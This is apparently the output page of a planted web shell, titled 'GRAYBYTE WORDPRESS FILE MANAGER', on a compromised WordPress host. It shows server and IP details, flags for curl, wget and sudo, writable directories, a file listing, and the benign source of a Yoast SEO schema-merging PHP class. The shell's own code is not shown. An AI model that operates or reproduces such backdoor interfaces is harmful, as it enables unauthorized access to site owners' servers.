✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.7
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/envhttps/application//properties-merger.php
<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Schema_Aggregator\Application;

use Yoast\WP\SEO\Schema_Aggregator\Domain\Schema_Piece;

/**
 * Merges properties of two schema pieces with the same @id.
 */
class Properties_Merger {

	/**
	 * Merges two Schema_Pieces into one by merging their properties.
	 *
	 * @param Schema_Piece $piece1 First schema piece.
	 * @param Schema_Piece $piece2 Second schema piece.
	 *
	 * @return Schema_Piece Merged schema piece.
	 */
	public function merge( Schema_Piece $piece1, Schema_Piece $piece2 ): Schema_Piece {
		$merged_properties = $this->merge_properties( $piece1->get_data(), $piece2->get_data() );
		// TODO: Shall we check if $type !== null?
		return new Schema_Piece( $merged_properties, $merged_properties['@type'] );
	}

	/**
	 * Merge properties from two schema entities with the same @id
	 *
	 * Strategy:
	 * - @type: Special handling - merge types into unified array
	 * - @id: Skip (always the same)
	 * - Arrays: Combine unique values
	 * - Scalars: Prefer non-empty over empty
	 * - Objects: Deep merge recursively
	 * - Null vs value: Prefer non-null
	 *
	 * @param array<string, string|int|bool> $entity1 First entity.
	 * @param array<string, string|int|bool> $entity2 Second entity.
	 *
	 * @return array<string, string|int|bool> Merged entity.
	 */
	private function merge_properties( array $entity1, array $entity2 ): array {
		$merged = $entity1;

		foreach ( $entity2 as $key => $value ) {

			if ( $key === '@id' ) {
				continue;
			}

			// Special handling for @type - merge types (JSON-LD allows multiple types).
			if ( $key === '@type' ) {
				$merged['@type'] = $this->merge_types(
					( $merged['@type'] ?? null ),
					$value,
				);
				continue;
			}

			if ( ! isset( $merged[ $key ] ) || $merged[ $key ] === '' ) {

				$merged[ $key ] = $value;
			}
			elseif ( \is_array( $merged[ $key ] ) && \is_array( $value ) ) {
				// Both are arrays - check if associative (object) or indexed (list).
				if ( $this->is_associative_array( $merged[ $key ] ) || $this->is_associative_array( $value ) ) {
					// Deep merge objects.
					$merged[ $key ] = $this->merge_properties( $merged[ $key ], $value );
				}
				else {
					// Combine arrays and get unique values.
					$merged[ $key ] = \array_values( \array_unique( \array_merge( $merged[ $key ], $value ), \SORT_REGULAR ) );
				}
			}
			// Else: entity1's value is non-empty scalar, keep it (prefer first occurrence).
		}

		return $merged;
	}

	/**
	 * Merge @type values from two entities
	 *
	 * JSON-LD allows @type to be either a string or an array of strings.
	 * This method combines types from both entities, deduplicates them,
	 * and normalizes the result (string if 1 type, array if multiple).
	 *
	 * Examples:
	 * - merge_types("Person", "Person") → "Person"
	 * - merge_types("Person", "Author") → ["Person", "Author"]
	 * - merge_types("Person", ["Author", "Employee"]) → ["Person", "Author", "Employee"]
	 * - merge_types(["Person"], "Person") → "Person"
	 * - merge_types(["Person", "Author"], ["Author", "Employee"]) → ["Person", "Author", "Employee"]
	 *
	 * @param string|array<string>|null $type1 First @type value.
	 * @param string|array<string>|null $type2 Second @type value.
	 * @return string|array<string> Merged and normalized @type value.
	 */
	private function merge_types( $type1, $type2 ) {

		$types1 = $this->normalize_type_to_array( $type1 );
		$types2 = $this->normalize_type_to_array( $type2 );

		$merged = \array_unique( \array_merge( $types1, $types2 ), \SORT_REGULAR );

		return $this->normalize_type_from_array( $merged );
	}

	/**
	 * Normalize @type value to array format
	 *
	 * @param string|array<string>|null $type Type value to normalize.
	 * @return array<string> Array of type strings.
	 */
	private function normalize_type_to_array( $type ): array {
		if ( $type === null ) {
			return [];
		}

		if ( \is_string( $type ) ) {
			return [ $type ];
		}

		if ( \is_array( $type ) ) {

			return \array_values( \array_filter( $type, 'is_string' ) );
		}

		return [];
	}

	/**
	 * Normalize array of types back to string or array.
	 *
	 * Returns string if single type, array if multiple types.
	 * This keeps the output compact while supporting multi-type entities.
	 *
	 * @param array<string> $types Array of type strings.
	 * @return string|array<string> Normalized type value.
	 */
	private function normalize_type_from_array( array $types ) {
		// Remove duplicates and re-index.
		$types = \array_values( \array_unique( $types ) );

		if ( empty( $types ) ) {
			// Fallback - should not happen in normal flow.
			return 'Thing'; // schema.org root type.
		}

		if ( \count( $types ) === 1 ) {
			return $types[0];
		}

		return $types;
	}

	/**
	 * Check if array is associative (object-like) vs indexed (list-like)
	 *
	 * @param array<string|int, string|int|bool|array<string|int|bool>> $argument Array to check.
	 * @return bool True if associative.
	 */
	private function is_associative_array( array $argument ): bool {
		if ( empty( $argument ) ) {
			return false;
		}
		return \array_keys( $argument ) !== \range( 0, ( \count( $argument ) - 1 ) );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
21 Sep 2026 2.32 AM
docteuh / users
0755
07
--
10 Sep 2026 4.25 PM
docteuh / users
0755
application
--
13 Sep 2026 7.32 PM
docteuh / users
0755
cache
--
13 Sep 2026 11.22 PM
docteuh / users
0755
enhancement
--
12 Sep 2026 1.41 AM
docteuh / users
0755
meta
--
19 Sep 2026 3.06 AM
docteuh / users
0755
aggregate-site-schema-command-handler.php
2.158 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
aggregate-site-schema-command.php
0.917 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
aggregate-site-schema-map-command-handler.php
2.67 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
aggregate-site-schema-map-command.php
0.762 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
background.min-20260912232224.css
2.685 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
background.min.css
2.685 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
bbpress.min.css
16.249 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
block-editor.css
8.336 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
compatibility-20260913173225.php
2.142 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
compatibility.php
2.142 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
contactform7.css
4.555 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
fb.css
0.462 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
footer.php
2.259 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
functions.php
28.734 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
gravityforms.min-20260913212237.css
7.403 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
gravityforms.min.css
7.403 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103225-20260831111900-20260901204506-20260902231029-20260903070400-20260903070518.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260829102432-20260830004210-20260830004246-20260830005248-20260830084048-20260902205819.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ilightbox.css
47.553 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
ilightbox.min.css
41.193 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
max-782-adminbar.css
0.44 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
max-cbp.min.css
0.094 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
max-main.min.css
0.569 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
portfolio.min.css
1.53 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
properties-merger.php
5.118 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-aggregator-announcement-20260830141819.php
1.454 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-aggregator-response-composer.php
0.868 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-pieces-aggregator.php
2.238 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
score-retriever.php
5.398 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
scrollbar.css
0.362 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
search.css
1.327 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
shortcodes.min-20260913194623.css
143.674 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
shortcodes.min.css
143.674 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
slidingbar.min.css
9.237 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
ssl-test-page-20260913120332.html
0.155 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
ssl-test-page.html
0.155 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
widgets.min.css
16.425 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
wpml-20260912090726.css
3.596 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
wpml-20260913212155.css
3.596 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
wpml.css
3.596 KB
20 Nov 2023 7.11 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF